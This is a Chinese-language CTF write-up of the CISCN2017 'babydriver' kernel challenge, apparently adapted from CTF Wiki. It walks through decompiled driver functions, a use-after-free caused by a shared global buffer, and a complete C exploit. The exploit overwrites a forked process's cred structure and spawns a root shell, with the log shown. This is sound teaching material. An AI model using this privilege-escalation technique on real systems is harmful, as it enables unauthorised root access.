前言
转载自 CTF Wiki Kernel-UAF 根据学习情况略有修改
CISCN2017 - babydriver
分析
解压rootfs.cpio
看一下有什么文件
➜ babydriver mkdir core ➜ babydriver cd core ➜ core mv ../rootfs.cpio rootfs.cpio.gz ➜ core gunzip ./rootfs.cpio.gz ➜ core ls rootfs.cpio ➜ core cpio -idmv < rootfs.cpio . etc etc/init.d etc/passwd etc/group bin bin/su bin/grep bin/watch bin/stat bin/df bin/ed bin/mktemp bin/mpstat bin/makemime bin/ipcalc bin/mountpoint bin/ash bin/chattr bin/rmdir bin/nice bin/linux64 bin/gzip bin/sync bin/sed bin/run-parts bin/login bin/gunzip bin/rm bin/chgrp bin/touch bin/uname bin/pwd bin/rev bin/printenv bin/fgrep bin/mkdir bin/iostat bin/umount bin/linux32 bin/mount bin/mv bin/setarch bin/sleep bin/kill bin/dumpkmap bin/ping6 bin/cttyhack bin/catv bin/dnsdomainname bin/netstat bin/ping bin/setserial bin/stty bin/dd bin/false bin/lsattr bin/reformime bin/busybox bin/scriptreplay bin/base64 bin/ps bin/ls bin/zcat bin/conspy bin/lzop bin/pidof bin/fatattr bin/date bin/mt bin/tar bin/fdflush bin/pipe_progress bin/ionice bin/mknod bin/dmesg bin/hostname bin/echo bin/chown bin/hush bin/vi bin/cat bin/more bin/chmod bin/cpio bin/rpm bin/true bin/getopt bin/egrep bin/sh bin/usleep bin/cp bin/kbd_mode bin/fsync bin/ln sbin sbin/ifdown sbin/iplink sbin/ifconfig sbin/ipneigh sbin/bootchartd sbin/mkfs.vfat sbin/losetup sbin/watchdog sbin/iptunnel sbin/halt sbin/ifup sbin/modinfo sbin/swapoff sbin/init sbin/runlevel sbin/fdisk sbin/fsck sbin/mkfs.minix sbin/reboot sbin/uevent sbin/switch_root sbin/depmod sbin/acpid sbin/start-stop-daemon sbin/mdev sbin/tunctl sbin/sulogin sbin/sysctl sbin/logread sbin/insmod sbin/ipaddr sbin/zcip sbin/ip sbin/mkswap sbin/mkfs.ext2 sbin/swapon sbin/route sbin/mkdosfs sbin/iproute sbin/blkid sbin/hwclock sbin/fstrim sbin/blockdev sbin/fbsplash sbin/raidautorun sbin/hdparm sbin/slattach sbin/lsmod sbin/iprule sbin/syslogd sbin/freeramdisk sbin/poweroff sbin/klogd sbin/modprobe sbin/nameif sbin/setconsole sbin/ifenslave sbin/loadkmap sbin/mke2fs sbin/makedevs sbin/arp sbin/udhcpc sbin/rmmod sbin/vconfig sbin/pivot_root sbin/devmem sbin/getty sbin/adjtimex sbin/findfs sbin/fsck.minix init proc lib lib/modules lib/modules/4.4.72 lib/modules/4.4.72/babydriver.ko sys usr usr/bin usr/bin/uptime usr/bin/find usr/bin/unlzop usr/bin/expand usr/bin/sv usr/bin/tail usr/bin/less usr/bin/uudecode usr/bin/resize usr/bin/printf usr/bin/cal usr/bin/md5sum usr/bin/dos2unix usr/bin/blkdiscard usr/bin/pmap usr/bin/last usr/bin/cksum usr/bin/unzip usr/bin/groups usr/bin/unlink usr/bin/runsv usr/bin/nohup usr/bin/sha256sum usr/bin/runsvdir usr/bin/smemcap usr/bin/renice usr/bin/deallocvt usr/bin/basename usr/bin/logname usr/bin/nsenter usr/bin/lzopcat usr/bin/head usr/bin/clear usr/bin/tty usr/bin/sha1sum usr/bin/tac usr/bin/whois usr/bin/unlzma usr/bin/patch usr/bin/hexdump usr/bin/sort usr/bin/script usr/bin/comm usr/bin/uuencode usr/bin/awk usr/bin/pscan usr/bin/traceroute usr/bin/envdir usr/bin/dumpleases usr/bin/timeout usr/bin/setkeycodes usr/bin/ipcrm usr/bin/od usr/bin/expr usr/bin/fold usr/bin/strings usr/bin/rpm2cpio usr/bin/id usr/bin/nmeter usr/bin/ipcs usr/bin/env usr/bin/dirname usr/bin/dpkg-deb usr/bin/truncate usr/bin/traceroute6 usr/bin/openvt usr/bin/pwdx usr/bin/shuf usr/bin/bzcat usr/bin/ftpget usr/bin/whoami usr/bin/bzip2 usr/bin/hd usr/bin/unshare usr/bin/ftpput usr/bin/which usr/bin/pgrep usr/bin/tee usr/bin/lzcat usr/bin/eject usr/bin/envuidgid usr/bin/top usr/bin/pstree usr/bin/bunzip2 usr/bin/lpr usr/bin/test usr/bin/xzcat usr/bin/reset usr/bin/wc usr/bin/hostid usr/bin/unxz usr/bin/mesg usr/bin/lsof usr/bin/svc usr/bin/passwd usr/bin/flock usr/bin/unexpand usr/bin/man usr/bin/realpath usr/bin/uniq usr/bin/tcpsvd usr/bin/udpsvd usr/bin/users usr/bin/nc usr/bin/lzma usr/bin/microcom usr/bin/free usr/bin/logger usr/bin/install usr/bin/readlink usr/bin/setuidgid usr/bin/telnet usr/bin/diff usr/bin/fuser usr/bin/tr usr/bin/cut usr/bin/sha3sum usr/bin/split usr/bin/unix2dos usr/bin/[ usr/bin/setsid usr/bin/[[ usr/bin/volname usr/bin/cmp usr/bin/cryptpw usr/bin/sha512sum usr/bin/softlimit usr/bin/killall usr/bin/showkey usr/bin/mkpasswd usr/bin/chpst usr/bin/sum usr/bin/mkfifo usr/bin/ttysize usr/bin/tftp usr/bin/yes usr/bin/pkill usr/bin/wget usr/bin/xz usr/bin/du usr/bin/lpq usr/bin/who usr/bin/rx usr/bin/dc usr/bin/nslookup usr/bin/fgconsole usr/bin/lsusb usr/bin/dpkg usr/bin/vlock usr/bin/chrt usr/bin/chvt usr/bin/wall usr/bin/beep usr/bin/seq usr/bin/time usr/bin/lspci usr/bin/xargs usr/bin/crontab usr/sbin usr/sbin/ubirsvol usr/sbin/crond usr/sbin/inetd usr/sbin/i2cdump usr/sbin/nandwrite usr/sbin/addgroup usr/sbin/ntpd usr/sbin/deluser usr/sbin/ubiupdatevol usr/sbin/killall5 usr/sbin/ubidetach usr/sbin/chroot usr/sbin/httpd usr/sbin/nbd-client usr/sbin/fakeidentd usr/sbin/adduser usr/sbin/brctl usr/sbin/readprofile usr/sbin/ubirmvol usr/sbin/tftpd usr/sbin/rtcwake usr/sbin/fdformat usr/sbin/chat usr/sbin/ubirename usr/sbin/udhcpd usr/sbin/sendmail usr/sbin/arping usr/sbin/ifplugd usr/sbin/nanddump usr/sbin/svlogd usr/sbin/i2cset usr/sbin/chpasswd usr/sbin/readahead usr/sbin/fbset usr/sbin/popmaildir usr/sbin/dhcprelay usr/sbin/ubimkvol usr/sbin/delgroup usr/sbin/setfont usr/sbin/ftpd usr/sbin/telnetd usr/sbin/i2cdetect usr/sbin/lpd usr/sbin/remove-shell usr/sbin/setlogcons usr/sbin/rdate usr/sbin/i2cget usr/sbin/add-shell usr/sbin/dnsd usr/sbin/loadfont usr/sbin/powertop usr/sbin/ubiattach usr/sbin/rdev usr/sbin/ether-wake tmp linuxrc home home/ctf 5556 blocks ➜ core ls bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr ➜ core bat init ───────┬──────────────────────────────────────────────────────────────────────── │ File: init ───────┼──────────────────────────────────────────────────────────────────────── 1 │ 2 │ 3 │ mount -t proc none /proc 4 │ mount -t sysfs none /sys 5 │ mount -t devtmpfs devtmpfs /dev 6 │ chown root:root flag 7 │ chmod 400 flag 8 │ exec 0</dev/console 9 │ exec 1>/dev/console 10 │ exec 2>/dev/console 11 │ 12 │ insmod /lib/modules/4.4.72/babydriver.ko 13 │ chmod 777 /dev/babydev 14 │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 15 │ setsid cttyhack setuidgid 1000 sh 16 │ 17 │ umount /proc 18 │ umount /sys 19 │ poweroff -d 0 -f 20 │ ───────┴──────────────────────────────────────────────────────────────────────── ➜ core
|
根据init内容,12行加载了babydriver.ko
这个驱动,根据pwn的一般套路,这个就是有漏洞的LKM。init的其他命令都是linux常用命令。
将驱动文件提取出来
➜ core cp ./lib/modules/4.4.72/babydriver.ko .. ➜ core cd .. ➜ babydriver checksec babydriver.ko [*] '/home/lantern/Desktop/kernel/babydriver/babydriver.ko' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0) ➜ babydriver file babydriver.ko babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
|
没有开PIE, 无canary保护,没有去除符号表
IDA打开,由于没有除去符号表,因此可以先shift + F9
看看有什么结构体, 可以发现如下结构体:
00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429) 00000000 ; XREF: .bss:babydev_struct/r 00000000 device_buf dq ? ; XREF: babyrelease+6/r 00000000 ; babyopen+26/w ... ; offset 00000008 device_buf_len dq ? ; XREF: babyopen+2D/w 00000008 ; babyioctl+3C/w ... 00000010 babydevice_t ends
|
而主要函数有:
- babyrelease
- babyopen
- babyioctl
- babywrite
- babyread
- babydriver_init
- babydriver_exit
其中, babydriver_init
和babydriver_exit
分别完成了/dev/babydev
设备的初始化和清理, babyrelease
用于释放空间。
babyioctl:定义了 0x10001 命令, 可以释放全局变量babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 result;
_fentry__(filp, *(_QWORD *)&command); v4 = v3; if ( command == 65537 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL); babydev_struct.device_buf_len = v4; printk("alloc done\n"); result = 0LL; } else { printk(&unk_2EB); result = -22LL; } return result; }
|
babyopen: 申请一块空间, 大小为 0x40 字节, 地址存储在全局变量 babydev_struct.device_buf
上,并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp) { _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL); babydev_struct.device_buf_len = 64LL; printk("device open\n"); return 0; }
|
babyread: 先检查长度是否小于 babydev_struct.device_buf_len
, 然后把 babydev_struct.device_buf
中的数据拷贝到 buff
中, buff
和长度都是用户传递的数据
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); result = v6; } return result; }
|
babywrite: 类似 babyread
, 不同的是从buff拷贝到全局变量中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6;
_fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL; result = -2LL; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(); result = v6; } return result; }
|
思路
存在一个伪条件竞争引发的UAF漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为babydev_struct
是全局的。同样,如果释放第一个,那么第二个其实是被释放过的,这样就造成了一个UAF,我们可以通过UAF修改cred
结构体来提权。
其中 4.4.72
的cred
结构体定义如下:
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring;
struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu; };
|
则根据UAF
的思想:
- 打开两次设备,通过
ioctl
更改其大小为 cred 结构体的大小 - 释放其中一个, fork 一个新的进程, 那么这个新进程的 cred 的空间就会和之前释放的空间重叠
- 同时,我们可以通过另一个文件描述符对这块空间写,只需要将
uid
和gid
改为0,即可实现提权到root
需要确定cred
结构体的大小,大小为0xa8(4.4.72)
EXP
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h>
int main() { int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork(); if (pid < 0) { puts("[*] fork error!"); exit(0); } else if (pid == 0) { char zeros[30] = {0}; write(fd2, zeros, 28);
if (getuid() == 0) { puts("[+] root now."); system("/bin/sh"); exit(0); } } else { wait(NULL); } close(fd2);
return 0; }
|
get root shell
// 静态编译文件,kernel 中没有 libc ➜ gcc exploit.c -static -o exploit ➜ file exploit exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped // 把编译好的 exp 解压后的目录下,重新打包 rootfs.cpio ➜ cp exploit core/tmp ➜ cd core ➜ find . | cpio -o --format=newc > rootfs.cpio 7017 块 ➜ cp rootfs.cpio .. ➜ cd .. // kvm 需要有 root 权限 ➜ sudo zsh boot.sh ...... ......
/ $ ls /tmp/ exploit / $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) / $ /tmp/exploit [ 14.376187] device open [ 14.376715] device open [ 14.377201] alloc done [ 14.377629] device release [+] root now. / uid=0(root) gid=0(root) groups=1000(ctf) /
|